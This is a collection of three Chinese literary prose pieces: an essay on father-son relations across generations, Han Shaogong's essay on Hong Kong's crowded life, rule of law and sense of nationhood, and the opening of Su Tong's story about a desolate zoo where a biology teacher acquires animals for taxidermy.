　　中国的传统里，有“严父慈母”之说，所以在初为人父时可以对任何事情宽容放任，对儿子却一派严厉，少言语，多板脸，动辄吼叫挥拳。我们在每个家庭都能听到对儿子以“匪”字来下评语和“小心剥了你的皮”的警告，他们常要把在外边的怄气回来发泄到儿子身上，如受了领导的压制，挨了同事的排挤，甚至丢了一串钥匙，输了一盘棋。儿子在那时没力气回打，又没多少词汇能骂，经济不独立，逃出家去更得饿死，除了承接打骂外唯独是哭，但常常又是不准哭，也就不敢再哭。偶尔对儿子亲热了，原因又多是自己有了什么喜事，要把一个喜事让儿子酝酿扩大成两个喜事。在整个的少年，儿子可以随便呼喊国家主席的小名，却不敢俏声说出父亲的大号的。我的邻居名叫“张有余”，他的儿子就从不说出“鱼”来，饭桌上的鱼就只好说吃“蛤蟆”，于是小儿骂仗，只要说出对方父亲的名字就算是恶毒的大骂了。可是每一个人的经验里，却都在记忆的深处牢记着一次父亲严打的历史，耿耿于怀，到晚年说出来仍愤愤不平。所以在乡下，甚至在眼下的城市，儿子很多都不愿同父亲呆在一起，他们往往是相对无言。我们总是发现父亲对儿子的评价不准，不是说儿子“呆”，就是说他“痴相”，以至儿子成就了事业或成了名人，他还是惊疑不信。

　　可以说，儿子与父亲的矛盾是从儿子一出世就有了，他首先使父亲的妻子的爱心转移，再就是向你讨吃讨喝以至意见相悖惹你生气，最后又亲手将父亲埋葬。古语讲，男当十二替父志，儿子从十二岁起父亲就慢慢衰退了，所以做父亲的从小严打儿子，这恐怕是冥冥之中的一种人之生命本源里的嫉妒意识。若以此推想，女人的伟大就在于从中调和父与子的矛盾了。世界上如果只有大男人和小男人，其实就是凶残的野兽，上帝将女人分为老女人和小女人派下来就是要掌管这些男人的。

　　只有在儿子开始做了父亲，这父亲才有觉悟对自己的父亲好起来，可以与父亲在一条凳子上坐下，可以跷二郎腿，共同地衔一枝烟吸，共同拔下巴上的胡须。但是，做父亲的已经丧失了一个男人在家中的真正权势后，对于儿子的能促膝相谈的态度却很有几分苦楚，或许明白这如同一个得胜的将军盛情款待一个败将只能显得人家宽大为怀一样，儿子的恭敬即使出自真诚，父亲在本能的潜意识了仍觉得这是一种耻辱，于是他开始钟爱起孙子了。这种转变皆是不经意的，不会被清醒察觉的。父亲钟爱起了孙子，便与孙子没有辈分，嬉闹无序，孙子可以嘲笑他的爱吃爆豆却没牙咬动的嘴，在厕所比试谁尿得远，自然是爷爷尿湿了鞋而被孙子拔一根胡子来惩罚了。他们同辈人在一块，如同婆婆门在一块数说儿媳一样述说儿子的不是，完全变成了长舌男，只有孙子来，最喜欢的也最能表现亲近的是动手去摸孙子的“小雀雀”。这似乎成了一种习惯，且不说这里边有多少人生的深沉的感慨、失望和向往，但现在一见孩子就要去摸简直是唯一的逗乐了。这样的场面，往往使做儿子的感到了悲凉，在孙子不成体统地与爷爷戏谑中就要打伐自己的儿子，但父亲却在这刻里凶如老狼，开始无以复加地骂儿子，把积聚于肚子里的所有的不满全要骂出来，真骂个天昏地暗。

　　但爷爷对孙子不论怎样地好，孙子都是不记恩的。孙子在初为人儿时实在也是贱物，他放着是爷爷的心肝不领情而偏要作父亲的扁桃体，于父亲是多余的一丸肉，又替父亲抵抗着身上的病毒。孙子没有一个永远记着他的爷爷的，由此，有人强调要生男孩能延续家脉的学说就值得可笑了。试问，谁能记得他的先人什么模样又叫什么名字呢，最了不得的是四世同堂能知道他的爷爷、老爷爷罢了，那么，既然后人连老爷爷都不知何人，那老爷爷的那一辈人一个有男孩传脉，一个没男孩传脉，价值不是一样的吗？话又说回来，要你传种接脉，你明白这其中的玄秘吗？这正如吃饭是繁重的活计，不但要吃，吃的要耕要种要收要磨，吃时要咬要嚼要消化要拉泄，要你完成这一系列任务，就生一个食之欲给你，生育是繁苦的劳作，要性交要怀胎要生产要养活，要你完成这一系列任务就生一个性之欲给你，原来上帝在造人时玩的是让人占小利吃大亏的伎俩！而生育比吃饭更繁重辛劳，故有了一种欲之快乐后还要再加一种不能断香火的意识，于是，人就这么傻乎乎地自得起乐地繁衍着。唉唉，这话让我该怎么说呀，还是只说关于父子的话吧。

　　我说，作为男人的一生，是儿子也是父亲。前半生儿子是父亲的影子，后半生父亲是儿子的影子。前半生儿子对父亲不满，后半生父亲对儿子不满，这如婆婆和媳妇的关系，一代一代的媳妇都在埋怨婆婆，你也是媳妇你也是婆婆你埋怨你自己。我有时想，为什么上帝不让父亲永远是父亲，儿子永远是儿子，人数永远是固定着，儿子那就甘为人儿地永远安分了呢？但上帝偏不这样，一定是认为这样一直不死的下去虽父子没了矛盾而父与父的矛盾就又太多了。所以要重换一层人，可是人换一层还是不好，又换，就反反复复换了下去。那么，换来换去还是这些人了！可不是吗，如果不停地生人死人，人死后据说灵魂又不灭，那这个世界里到处该是幽魂，我们抬脚动手就要碰撞他们或者他们碰撞了我们。不是的，决不是这样的，一定还是那些有数的人在换着而重新排列罢了。记得有一个理论是说世上的有些东西并不存在着什么优劣，而质量的秘诀全在于秩序排列，石墨和金刚石其构成的分子相同，而排列的秩序不一，质量截然两样。聪明人和蠢笨人之所以聪明蠢笨也在于细胞排列的秩序不同。哦，不是有许多英雄和盗匪在被枪杀时大叫“二十年又一个×××吗”？着英雄和盗匪可能是看透了人的玄机的。所以我认为一代一代的人是上帝在一次次重新排列了推倒世界上来的，如果认为那怎么现在比过去人多，也一定是仅仅将原有的人分劈开来，各占性格的一个侧面一个特点罢了，那么你曾经是我的父亲，我的儿子何尝又不会是你，父亲和儿子原本是没有什么区别的。明白了这一点多好呀，现时为人父的你还能再专制你的儿子吗？现时为人儿的你还能再怨恨现时你的父亲吗？不，不，还是这一世人民主、和平、仁爱地活着为好，好！

笛鸣香港

韩少功

　　进入香港后的第一印象，就是不少高楼瘦长如棍，一根根戳在那里顶着天，让观望者悬心。

　　在全世界都少见这种棍子，这种用房屋叠出来的高空杂技。它们扛得住地震和狂风吗？那棍子里的灯火万家，那些蛀入了棍子的微小生物，就不曾惊恐于自己的四面临虚和飘飘欲坠？

　　我这次住九楼，想一想，才爬到棍子的膝部以下，似乎还有几分安稳。套间四十多平米，据说市值已过百万。家居设施一应俱全，连厨房里的小电视和小花盆也不缺。但卧房只容下一床，书房只容下一桌一椅，厨房更是单人掩体，狭窄得站不下第二人。我洗完澡时吓一大跳，发现客厅里竟冒出陌生汉子。细看之后才松了口气，发现对方不是强盗，不过是站在对角阳台上的邻居，透过没挂上窗帘的玻璃门，赫然闯入我的隐私。

　　他不在客厅里，但几乎就在客厅里，朝我笑了笑，说了句什么，在玻璃门外继续浇洒自家的盆花。

　　他是叫海伦还是汤姆？

　　我不知该如何招呼。

　　港人多有英文名字——多族裔机构里的职员更是如此。这些海伦或者汤姆在惜地如金的香港。如果没有祖传老宅或千万身家，一般都只能钻入这种小户型，成天活得蹑手蹑脚和小心翼翼，在邻居近如家人的空间里，享受着微型的幸福与自由。也许正是这一原因，人们擅长螺蛳壳里唱大戏，精细作风举世闻名。在这里，哪怕是一条破旧的小街，也常常被修补和打扫得整洁如新。哪怕是廉价的一碗车仔面或艇仔饭，也总是烹制得可口实惠。哪怕是一件不太重要的文件副本，也会被某位秘书当成大事，精心地打印、核对、装订、折叠、入袋，封口……所有动作都是一丝不苟按部就班，直至最后双手捧送向前，如呈交庄严的国书。

　　正因为如此，香港缺地皮，有世界上最大的人口密度、高楼密度、汽车密度，却仍是很多人留恋的居家福地。海伦们和汤姆们，即自家族谱里的阿珍们和阿雄们，哪怕在弹丸之地也能用一种生活微雕艺术，雕出了强大的现代服务业，雕出了曾经强大的现代制造业，雕出了或新潮或老派的各种整洁、便利、丰富、尊严以及透出滋补老汤味的生活满足感。毫无疑问，细活出精品，细活出高人，各种能工巧匠应运而生，一直得到外来人的信任。有时候，他们并不依靠高昂成本和先进设备，只是凭借一种专业精神与工艺传统的顽强优势，也能打造无可挑剔的名牌产品——这与内地某些地方豪阔之风下常见的马虎、潦草以及缺三少四，总是形成了鲜明的对照。

　　一些称之为 Mall 的商城同样有港式风格。它们是巨大的迷宫，有点像传统骑楼和现代超市的结合，集商铺、酒店、影院、街道、车站、学校、机关以及公园于一体，勾心斗角，盘根错节，四通八达，千回百转，让初来者总是晕头转向。它们似乎把整个城市压缩在恒温室内，压缩成五光十色的集大成。于是人们稍不留心，就会错觉自己在酒店里上地铁，在商铺里进学堂，在官府里选购皮鞋。想想看，这种时空压缩技术谁能想得出来？这种公私交集、雅俗连体、五味俱全、八宝荟萃、各业之间彼此融合、昼夜和季节的界限消失无痕的建筑文化，这种省地、节材、便民、促销的建筑奇观，在其他地方可有他例？

　　一代代移民来到这里打拼，用影碟机里快进二或快进四的速度，在茫茫人海里奔走，交际、打工或者消费，哪怕问候老母的电话也可能是快板，哪怕喝杯奶茶或拍张风景照也可能处于紧急状态。“你做什么？”“你还做什么？”“你除了这些还做什么？”……熟人们经常一见面就劈头三问，不相信对方没有兼职和再兼职，不相信时间可以不是金钱。显然，这种忙碌而拥挤的社会需要管理，近乎狂热的逐利人潮需要各种规则，否则就会乱成一团。十九世纪末的英国人肯定看到了这一点。他们面对维多利亚港湾两侧乱哄哄黑压压的殖民地，面对缺地、缺水、缺能源但独独不缺梦想的香港，不会掏出太多的民主，却不能不厉行法治。他们把香港当作一个破公司来治理。米字旗下的建章立制、严刑峻法、科层分明、令行禁止，成了英伦文化在香港最需要也最成功的移植。“政府忠告市民：不要鼓励行乞！”这种富有基督新教色彩的警示牌，也从欧洲舶来香港街头。

　　一次很不起眼的招待会，可能几个月前就开始预约和规划了。电话来又电话去，传真来又传真去，快递来又快递去，参与者必须接受各种有关时间、地点、议题、程序、身份、服装、座位、交通工具、注意事项之类的敲定。意向申明以后还得再次确认，传真告知以后还得书函告知，签了一次字以后还得再签两次字，一大堆文牍来往得轰轰烈烈。不仅如此，一次主要时间只是用于交换名片、介绍来宾、排队合影再加几句客套话的空洞活动结束之后，精美的文牍可能还会尾随而至：关于回顾或者致谢。

　　不难想象，应付这种繁重的文牍压力，很多人都需要秘书。香港的秘书队伍无比庞大当然事出有因。

　　也不难想象，港人在擅长土地节约之余，却习惯了秘书台上日复一日的巨量纸张耗费，让环保人士愤愤不满。

　　但没有文牍会怎么样？

　　口说无凭，以字为据。没有关于招待、合同、动议、决策、审计、清盘、核查、国际商法等方面的周到字据，出了差错谁负责？事后如何调查和追究？追究的尺度和权利又从何而来？……从这种意义来说，法治就是契约之治，就是必须不断产生契约的文牍之治——虽然文牍癖也有闹过头的时候，比方说秘书们为某些小事累得莫名其妙。

　　车载斗量的文牍，使香港人几乎都成了契约人，成了一个个精确的条款生物和责任活体。考虑到这一点，在庞大秘书行业之后再出现庞大的律师队伍之类，出现数不胜数的检控之类，大概也不难理解了。

　　有一位老港人向我抱怨，称这里最大的缺点是缺乏人情，缺乏深交的朋友。光是称呼就得循规蹈矩不得造次：mister，先生就是先生；doctor，博士就是博士；professor，教授就是教授——大学里的这三个称呼等级森严，不可漏叫更不可乱叫，以至只要你今天退休，你的“×教授”称呼明天立马消失，相关的待遇和服务准时撤除，相处多年的秘书或工友也忽如路人，其表情口气大幅度调整。这种情况，包括不至于这般极端的情况——当然都让很多大陆人和台湾人深感不适，免不了摇头一叹，人走茶凉呵。

　　但人走茶凉不也是法治所在么？倘若事情变成这样：人走了茶还不凉，人不在位还干其政，还要来看文件，写条子，打电话，参加会议，消费公款，甚至接受前呼后拥，有关契约还有何严肃性和威慑力？倘若人没走茶已凉，人来了茶不热，有些茶总是热，有些茶总是凉……那么谁还愿意把契约太当回事？

　　契约人就不再是自然人，须尽可能把感情与行为一刀两断，用条款和责任来约束行为。这样，缺乏人情是人生之憾，却不失为公法之幸，能使社会组织的机器低摩擦运转。面子不管用了，条子不管用了，亲切回忆什么的不管用了，虽然隐形关系网难以完全绝迹，但朋友的经济意义大减，徇私犯科的风险成本增高。香港由此避免了很多乱相，包括省掉了大批街头的电子眼，市政秩序却井井有条，少见司机乱闯红灯，摊贩擅占行道，路政工人粗野作业，行人随地吐痰、乱丢纸屑、违规抽烟，遛狗留下粪便……官家的各种“公仔（干部）”和“差佬（警察）”也怯于乱来。哪怕是面对一个最无理的“钉子户”，只要法院还未终结诉讼，再牛的公共工程也奈何它不得。政府只能忍受巨大预算损失，耐心等上一年半载，甚至最终改道易辙。

　　因为他们都知道，法治治民也治吏。违规必罚，犯禁必惩，一旦出了什么事，就有重罚或严刑在等着，没有哥们儿或姐们儿能来摆平，也难有活菩萨网开一面。那么，哪个鸡蛋敢碰石头？

　　无情法治的稍加扩展就是无情人生——或者这句话也可反过来说。

　　这样，我们对人情与秩序能否兼得？在难以兼得之时又如何痛苦地选择？

　　这当然是一个问题。说起来，香港人并非冷血，每日茶楼酒馆里流动着的不全是社交虚礼，其中很大一部分仍是友情。特别是节假日里，家庭成了人胜取暖的最佳去处，合家饮茶或合家出游比比皆是，全家福的图景随处可见，显现出香港特别有中华文化味道的一面。父慈子孝，夫敬妇贤，其情殷殷，其乐融融，构成了百姓市井的亲情底色。

　　这些人不习惯西服革履，更喜欢休闲便装；不习惯道貌岸然，更愿意小节不拘自居庸常——包括挂着小腰包光顾赛马场和彩票。与之相联系的是，他们的阅读大多绕开高深，指向报上的地方新闻和娱乐八卦，还有情爱和武侠的小说。他们使用着最新款的随身听、数码相机、mp4、便携宽频多媒体，但大多热心于情场恩仇和商界沉浮一类个人故事——这是通俗歌曲和通俗电影里的常见内容。内地文化人对此最容易耸耸肩，摇摇头，讥之为“文化沙漠”。其实这里图书、音乐、书画、电影的同比产出量绝不在内地之下，大量人才藏龙卧虎。稍有区别的是，他们的文化主题常常是“儿女情”而非“天下事”，价值焦点常常落在“家人”而不是“家国”，多了一些就近务实的态度，与内地文化确实难以全面接轨。黄子平教授在北京大学作报告的时候，强调香港文学从总体上说最少国家意识形态，是一个特别品种，值得研究者关注。据他说，学子们对这个话题曾不以为然。

　　学子们也许不知道，他们与大多港人并没有共享的单数历史。在百年殖民史中，港英当局管理着这一块身份暧昧的东方飞地，既不会把黄肤黑发的港人视为不列颠高等同胞，也不愿意他们时常惦记自己的种族和文化之根，那么让他们非中非英最好，忘记“国家”这一码事最好——这与一个人贩子对待他人儿女的态度，大体相似。这种刻意空缺“国家”的教育，一种大力培养打工仔和执行者而非堂堂“国民”的百年教育，也许足以影响几代人的知识与心理。

　　再往前看，香港自古以来就是天高皇帝远，“帝力于我何有哉？”这里的先辈们难享国家之惠，也少受国家之害，遥远朝廷在他们眼里实在模糊。当中原族群反复受到北方集团侵掠或统治，那里的国家安危与个人的生死荣辱息息相通，国与家关系密切，忧国、亡国、思国、报国之情自然成了文化要件，“修齐”通向“治平”的古训便有了更多日常感受的支持，有了更强的逻辑力量。与此不同，香港偏安岭南一角，面对大海朝前望去，前面只有平和甚至虚弱的东南亚，一片来去自由、国界含混、治权零乱的南洋。在这样的地缘条件下，如果不是晚近的鸦片战争、抗日战争以及九七回归，他们的心目中那个抽象的“国家”在哪里？“国家”对于老百姓的衣食住行有多少意义？

　　大多数港人也修身，也齐家，但如果国家若有若无，那么“治国平天下”当然就不如“治业赚天下”更为可靠实用了。这样，他们精于商道，生意做遍全球，但不会像京城出租车司机们那样乐于议政，不会像中原农民们那样乐于说古。内地文化热点中那些宫廷秘史、朝代兴衰、报国志士、警世宏论、卫国或革命战争的伟业，在这里一般也票房冷落。国家政治对于很多港人来说是一个生疏而无趣的话题。更进一步说，如果国家的偶尔到场，不过是用外交条约把香港划来划去，使之今天东家，明天西家，今天姓张，明天姓李，一种流浪儿的孤独感也不会毫无根由。

　　殖民地都是精神和文化的流浪儿——香港不过他们中比较有钱的一个。想一想，这个流浪儿是应该责难还是应该抚慰？他们的文化在经受批评之前是否应该先得到几分理解？

　　1997 年，很多港人在五星红旗下大喊一声“回家啦——”但这个家，对于他们来说还是比较陌生，比如有相对的贫穷，有较多的混乱和污染，有文化传统中炽热的国家观和天下观。但无论人们是珍爱这个家还是厌恶这个家，“国家”终于日渐逼近，不可回避了。

　　世界上并非所有人都有国家意识，都需要国籍的尊严感和自豪感。诗人北岛说，他曾经遇到一个保加利亚人。那人说保加利亚乏善可陈，从无名人，连革命家季米特洛夫还是北岛后来帮对方想起来的。但那人觉得这样正好，更方便他忘记自己的国族身份，从而能以世界文化为家。出于类似的道理，多年来几无国家可言的港人，是否一定需要国家这个权力结构？他们下有家庭，上有世界，是否就已经足够？他们国土视野和国史缅怀的缺失，诚然收窄了某种文化的纵深，但是否也能带来对狭隘国家主义的避免？

　　无可选择的是，国家是现代共同体的基本形式。历史上的国家功罪俱在，却从来不是抽象之物，不全是旗帜、帽徽、雕像、诗词、交响乐、博物馆、哲学家们的虚构。对于 1997 以后的很多港人来说，即使抗英、抗日的伤痛记忆已经淡薄，但国家也不仅仅意味着电影里的“内战”和书刊里的“文革”，而有了电影与书刊以外的更多现实内容。国家是化解金融危机时的巨额资金托市，是对数千种产品的零关税接纳，是越来越值钱的人民币，是越来越有用的普通话，是各种惠及特区的人才输入、观光客输入、股市资金输入、高校生源输入、廉价资源产品输入……一句话，国家是这里日常生活的一部分，正在成为真切可触的利益，正在散发出血温。

　　即便有些人对这一切不以为然，即便他们还是贬多褒少，但无论褒贬都透出更多北向的关切，与往日的两不相干大为异趣了。即便有些港人还不时上街呛声某些中央政策，但这种呛声同样标示出关切的强度。

　　汶川大地震后，我立在香港某公寓楼的一扇窗前，听到维多利亚港湾里一片笛声低回，林立高楼下填满街道的笛声尖啸，哀恸之潮扑面而来。各个政党和社团的募捐广告布满大街，各大媒体的激情图文和痛切呼吁引人注目，学生们含着眼泪在广场上高喊“四川坚强”和“中国坚强”，而高楼电子屏幕上的赈灾款项总数记录，正以每秒数十万的速度不断跳翻……这一刻，我知道香港正在悄悄改变，一块殖民地的心灵流浪大概行将结束。

　　我隔着宽阔海面遥望港岛，那一片似乎无人区的千楼竞起，那一片形状各异的几何体，如神话中寂静而荒凉的巨石阵。

　　我知道那里有很多人，很多陌生而熟悉的人，只是眼下远得看不见而已。

世界上最荒凉的动物园

苏童

　　灰场动物园离我家大约有三公里路程，我开始去那儿临摹动物时它作为一个动物园已经是徒有虚名了。不知道是什么原因，动物园给人以一片荒凉的印象，几棵半枯的老树下陈列的不是动物，而是空空荡荡的兽笼，几乎所有的兽笼都己锈蚀或残破，动物园剩下的居民只有一群锦鸡、一头麋鹿和两只猴子，如此而已。

　　我早已过了迷恋动物园的年龄，我跑到这个被人遗忘的动物园来只是因为我在学习绘画。我的绘画老师以擅画动物在本地享有盛名，是他建议我来这个地方画动物写生的，他说，千万别去市动物园，那儿太吵太乱了，灰场动物园没什么动物，但那儿有猴子，你可以安安静静地画上一天，没有人会妨碍你的。

　　我在那儿画画的时候周围确实很安静，除了风吹树叶和锦鸡的啁啾之声外，一切都似乎在午睡之中，只有猴房里的那两只猴子生气勃勃，它们在攀援和奔跑中始终朝我观望着。两只幸存的猴子，一老一小，小猴子有时会突然跳到老猴子背上，每逢这时老猴子就伸出长臂在小猴子肮脏的皮毛上搔几下，我猜它们是一对父子。值得一说的是那只老棕猴的眼睛，其中一只眼睛是瞎的，这么一只独眼猴使我的写生遇到了难题，我不知道怎么画那只瞎了的猴眼，犹豫了很久，我还是把那只猴眼的位置空在纸上了。

　　离开猴房后我又在园里转悠了一圈，经过废弃的猴笼时我看见一个穿蓝色工装的老头在笼子里睡觉，他坐在一只大缸上，手里抓着一根粗壮的水管，水管里还在哗哗地淌水，但他却睡着了。我猜他是这里唯一的饲养员了。大概是我的脚步声惊醒了他，饲养员突然站起来，冲着我大喊一声，门票，买门票！

　　我猜饲养员有六十多岁了，他的苍老的脸上有一种天生的怒气，我看见他拖拉着水管从狮笼里跑出来，一只乌黑粗糙的手掌朝我伸过来，在我紧张地掏挖口袋时我听见他在翻弄我的画夹。画猴子？饲养员的鼻息带着一股酒昧喷在我的脸上，他的声音仍然是怒气冲冲的，画猴子也要买门票，一毛钱，买门票！

　　我递给他一毛钱时忍不往抗议了一句，这种动物园也配收门票？我是故意跟这个讨厌的老头顶嘴的，但我发现他将钱塞进口袋时脸上已经是一种歉疚的表情，他眨巴着浑浊的眼睛看着我，过了一会儿他甩下我又走进了狮笼，我看见他抓着水管朝狮笼的地面喷水，一边喷水一边嘀咕：你们生气我就不生气吗？这些动物没人稀罕，可它们不死你就得养着，不死就得给它们进食，给它们出粪，都是我一个人干。现在没人管这园子了，就我一个人管，我都是脖子入土的人了，我有心脏病，关节炎，下雨天浑身疼得要冒烟，可我还得伺候它们，伺候它们吃喝拉撒呀！

　　我没有耐心听饲养员的牢骚，那时候天已黄昏，附近灰场工业区的厂房烟囱已是一片胭脂红，我离开动物园，骑着自行车与工业区下班的工人一起向市区而行，途经肥皂厂时我看见一个熟悉的身影蹬着自行车从斜坡上冲下来，与我们逆向而行。那个人戴眼镜，肩上搭着一条黑围巾，我认出他是我们学校的生物教师，我没有叫他，我不知道他到灰场这一带干什么。

　　我的绘画老师批评了我的动物写生，他认为我画的两只猴子死板僵硬，这哪儿像活蹦乱跳的猴子？像两个猴子标本嘛！绘画老师批评我总是毫不留情的，他指着我画的那只老猴子问我，怎么就画了一只眼睛？还有一只眼睛呢？我说，还有一只眼睛是瞎的，我画不出来。绘画老师浓眉扬了起来，你说那是只独眼猴子？他拍着大腿道，那不是最好的写生素材吗？你一定要画出那另一只眼睛，你总是抓不住动物的神韵，再去画那只独眼猴子，把另一只眼睛也画出来，画好了它猴子的神韵也许一下就出来啦。

　　大概是我愚笨的原因，我始终不知老师嘴里的神韵为何物。但我还是决心去捕捉猴子的神韵，于是在一个星期以后我又去了三公里以外的灰场动物园。

　　就在那天我与学校的生物教师不期而遇。我在猴房前静静观察那两只猴子，突然听见有人叫我的名字，生物教师笑盈盈地朝我走过来，他说，没想到你在这儿画画，我在这儿还是第一次碰到熟人呢。我问他来这儿干什么，他有点神秘地笑了，说，来看动物，你知道我对动物最感兴趣。我说看动物应该去市动物园，那儿才是真正看动物的地方。生物教师摇了摇头，手指着饲养员的红砖小屋说，我跟老张是老熟人了，我常上这儿来，跟他谈点事情。

　　我猜不出生物教师与饲养员会谈什么事情，也不宜多问。但生物教师对这个动物园无疑是非常熟的，我在画猴子的时候听见他在旁边向我介绍有关动物园的许多内幕。

　　生物教师说，以前猴房里有过三十只猴子，现在都迁到新动物园去了剩下的这两只猴子当时生了肺炎，留在这儿了，那边的鹿也是这么回事，留下了就没人要了。

　　生物教师说，你看见那老猴子的瞎眼了吧？那是五年前给一个醉鬼用铁条捅的，他一只手拿香焦，另一只手藏在背后拿着那根铁条。世上总有这种人，他们不爱动物，不爱也没什么，可他们对动物竟然如此残暴。

　　生物教师还说，我爱动物，我爱一切动物，即使是那只瞎了一只眼睛的独眼猴，当然独眼总是个遗憾，假如它在我手里，我会让它变得漂亮一些完美一些。

　　我与生物教师的谈话无法深入，坦率地说我觉得生物教师有点古怪，一个画猴子的人与一个爱猴子的人并没有什么共同语言，或许是生物教师先意识到了这一点，渐渐地他谈兴大减，他凑近我的画夹看了看纸上的猴子，说，眼睛，眼睛画得不好，一只瞎眼也可以画出生命来的。

　　生物教师的批评也同样让我很困惑，我不知道怎么在一只瞎了的猴眼里画出生命，我想画动物尤其是画猴子真是太难了。在我面对那只背负小猴的老猴时，脑子里一片空茫，那只老猴与小猴嘻戏之余朝我频频回头张望，我突然想起那个醉鬼和他手里的铁条，我似乎看见老猴失去眼睛的真实瞬间，一种强烈的刺痛感突然传遍我的全身，我觉得我已经捕捉到了绘画老师所说的神韵，它的神韵就是痛苦。

　　大约是在半个小时以后，我听见饲养锦鸡的地方传来锦鸡们嘈杂的叫声，回头一看我便终于明白了生物教师到这里来的目的，我看见饲养员领着生物教师走进栅栏门，饲养员以异常年轻敏捷的动作抓住了一只狂奔的锦鸡，那是一只羽毛绚烂如虹的锦鸡，它在饲养员的手中徒劳地扑扇着翅膀，最后被投进一只蓝布口袋中，我看见生物教师张开那只口袋，然后抓起口袋的两角打了一个死结。

　　我与生物教师本来仅仅是点头之交，自从有了灰场动物园的那次邂逅，我们之间的关系一下子就亲密了许多。我在教工食堂里遇见他，忍不住提出我的疑问，那个老头怎么肯把锦鸡送给你？生物教师一边嚼咽着包子一边对我神秘地微笑着，他说，不是送的，是我买的。我还是不相信，我说他怎么能把动物园的动物卖给你呢？生物教师朝四周环顾了一番，他脸上的微笑更显神秘了，我跟他很熟悉嘛，他突然凑近我对我耳语道，他欠我的情，他孙子的入学问题是我给他解决的。

　　生物教师热情地邀请我去参观他的标本展览室，我就跟着他去了位于校办厂区域内的那间小屋，一进去我首先就看见了那只美丽的锦鸡。

　　它被固定在一根树桩上，很明显它已经被开膛破肚，完成了防腐处理，我看见锦鸡的姿态栩栩如生，但它的羽毛上还沾着血与药液的痕迹。

　　其实我的鸟类标本不少了。生物教师把锦鸡标本移到猫头鹰和鸵鸟之间的位置，他淡淡地说，我现在最想做的是灵长类动物标本。

　　我并没有在意生物教师的话，应该说我很不适应那间小屋的气氛，我觉得许多鸟许多猫还有许多我未见过的动物一齐瞪大眼睛盯着我，由于它们的静态和屋里的光线，每个动物看上去都异常安详舒适，但是我闻到空气中有一股难以描述的酸腥味，它使我难以坚持看完小屋里陈列的每一种标本。当我找了个理由匆匆退出小屋时，生物教师仍然深情地望着他的标本，我听见他在里面喃喃自语的声音：真奇怪，他们为什么不爱动物呢？

　　我猜生物教师肯定后悔对我的邀请了，而我自己也后悔去了小屋。因为从那儿出来以后的整个下午，我一直心情抑郁，眼前不时闪现出锦鸡湿漉漉的沾满血迹与药液的羽毛。我怜惜那只锦鸡，那是我生平第一次对动物投入了感情。

　　生活中许多事情是触类旁通的，在我后来的绘画习作中我试着把对锦鸡的怜惜带入笔下，结果我的绘画老师认为我的动物写生有了长足的进步，你现在抓到了猴子的神韵。他指着我画的那只老猴子说，你画出了那只瞎眼，这只猴子身上的神韵就在眼睛里，现在你该明白了吧？

　　我第二次在灰场动物园遇见生物教师是一个星期天的早晨。那天下着蒙蒙细雨，我发现猴房里的棕猴父子在雨天里表现出一种惊人的亲情。小猴子被老猴子掖在怀里躲雨，当浑身湿透的老猴子手抬前额观望天空中的雨丝时，我忽然觉得它唯一的眼睛里充满了某种忧患，我怀着激情画下了它抬头观雨的神态，也就在这时，我听见从饲养员的屋子里传来两个男人争吵的声音，争吵声忽高忽低的，我听不清具体内容，但我听出另外一个人就是我们学校的生物教师。

　　等我走近那个窗口时他们的争吵声戛然而止，他们似乎提防着我，我看见饲养员扭过身子，用后背对着我，而生物教师对我露出他特有的温和天真的微笑，你也来了？他说，我正跟老张谈事情呢，他今天心情不好，谈起事情来跟吵架似的。其实他是一个大好人。

　　我很想知道他们正在谈的事情，但我在那儿站着对他们是个妨碍，我只得知趣地离开，返回到猴房那儿继续我的写生。雨这时候下大了，猴房顶部苫盖的一块塑料布突然被风吹落，转瞬之间猴子们失去了唯一一块干爽的空间，我发现那只独眼棕猴变得异常焦躁起来，它抛下小棕猴在铁丝网上疯狂地跳跃奔跑着，不时发出几声悠长的啼啸，我当时对猴子的命运一无所知，因此我把它的反常归咎于雨和天气的变化，我还在雨地里自作聪明地总结了人与动物的一个共同点：他们或它们对天气之变都是很敏感的。

　　那场越下越大的雨中断了我的写生计划，我原先想到饲养员的小屋里去躲一会儿雨的，但是我想到那样会给他们带来种种不便，干脆就钻到了鹿房低矮的木板房顶下面，正如我那点可怜的动物学常识所知道的，鹿是温驯善良的动物，在我栖身鹿房的一个小时里，那只孤单的麋鹿只是静静地注视着我，它吃它的草，我躲我的雨，我与麋鹿井水不犯河水地共度了一个小时，一直到密集的雨线渐渐又松散开来，渐渐地雨完全停了。

　　雨一停我就想离开了，我带来的纸都被雨弄湿，无法再画下去。我站起来摸了摸麋鹿美丽的脖颈，与它道别。雨后的灰场动物园更显冷清荒凉，除了残余在枯树上的雨水滴落在地的声音，周围一片死寂，我走过饲养员的屋子时敲了敲他的窗子，我想假如生物教师还在那里也许愿意跟我同路回去，但屋子里没有人，透过窗玻璃我看见的只是桌子上的一堆东西，两盒前门牌香烟、一包糕点和两瓶白酒。

　　我已经推起了自行车，就是在这时候我听见从猴房那里传来一种奇怪的类似婴儿的啼哭声，最初我不知道那是猴子的哭声，我只是觉得那种声音异常凄厉异常碜人，于是我骑上车朝猴房那儿驶去。你也许已经猜到了，我再次看见的猴房里只剩下那只小棕猴了，仅仅是隔了一个小时，仅仅是隔了一场雨，那只瞎了右眼的老棕猴不见了，我看见那只小棕猴用双臂抓住铁网迎向我，它像一个人类的婴儿一样向我哭泣，我清晰地看见它粉红的脸上满是泪水，不是雨水，是泪水，那是我这辈子第一次看见猴子的泪水，像人的眼泪一样，也是晶莹透明的。

　　直到此时我终于明白了在刚才的大雨中发生的事情，也终于知道生物教师今天与饲养员谈的事不是关于锦鸡，而是那只可怜的老棕猴。我一时愣怔在那儿，我内心充满了酸楚与疼痛的感觉，但我不知道该对那只小棕猴做些什么，我在口袋里找到一颗潮湿了的咸花生仁，隔着铁网喂给小棕猴，但它刚咽下去就吐出来了，我一直以为它在颤栗，这时才懂得那种颤栗就是猴子的哭泣。

　　几行杂乱的脚印留在雨后的泥地上，一直从猴房通往废弃的狮笼那里，追寻着这些脚印，我在狮笼里找到了饲养员，饲养员像上次那样，正在用水管冲洗地面，尽管水管里冲出来的水很急很大，我还是看见了狮笼地面上星星点点的血污，还有饲养员长筒胶靴上沾着的一片。

　　我指了指积满水的狮笼，结结巴巴地问，你们就在这儿，就在这儿，杀？

　　饲养员说，这儿能避开小猴子，不能让它看见，你们不懂，猴子也通人性的。

　　我看了看树林那边的猴房，确实有树枝和房子遮挡了视线。我仍然不知道该怎样向饲养员表达我的感受，我只是向他提出了一个愚蠢的问题：杀它容易吗？

